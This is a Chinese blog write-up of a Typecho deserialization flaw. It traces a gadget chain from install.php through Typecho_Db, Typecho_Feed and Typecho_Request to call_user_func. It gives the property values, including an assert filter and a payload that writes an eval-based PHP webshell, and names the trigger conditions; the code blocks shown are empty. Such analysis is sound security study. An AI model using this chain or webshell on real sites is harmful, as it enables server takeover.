typecho反序列化分析
分析
1.install.php
install.php中存在unserialize函数,__typecho_config可控。值被作为参数传入类Typecho_Db
2./var/Typecho/Cookie.php
Typecho_Cookie::get方法从Cookie或者是POST数组中获取数据
3./var/Typecho/Db.php
跟进类Typecho_Db,传入的参数被作为字符串拼接,触发__toString(),全局搜索toString
4./var/Typecho/Feed.php中存在可利用toString方法
满足条件self::RSS2 == $this->_type执行下面的语句,如果$item[‘author’]是一个类,就会触发__get()方法,开始全局搜索get方法
1 | |
5./var/Typecho/request.php
request.php中Typecho_Request类存在__get()方法,__get()含有一个参数,即要获取的成员属性的名称,$key=’screenName’
6.跟进get方法
6.跟进_applyFilter方法,发现call_user_func函数,到达终点。filter属性为要执行的函数,$value来源为传入参数,在get函数中被$value = $this->_params[$key]赋值,来源于属性_params。$this->_params[$key]等于$this->_params['screenName']
构造利用链
令Typecho_Db类中的$adapterName=$config[‘adapter’]等于Feed.php中的Typecho_Feed类,创建一个数组$a=array(‘adapter’ =>new Typecho_Feed(),’prefix’ => ‘typecho_’)
令Typecho_Feed类中的$item[‘author’]等于Typecho_Request类
令Typecho_Request类中的属性_params=array('screenName'=>'file_put_contents("shell.php", "<?php @eval(\$_POST[\'a\']); ?>")')
令Typecho_Request类中的属性_filter=array(‘assert’)
1 | |
利用条件
install.php中要求触发反序列化需要满足两个条件
必须有GET参数finish
Refer必须为本站链接,如http://127.0.0.1/typecho
利用结果
写入成功
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!









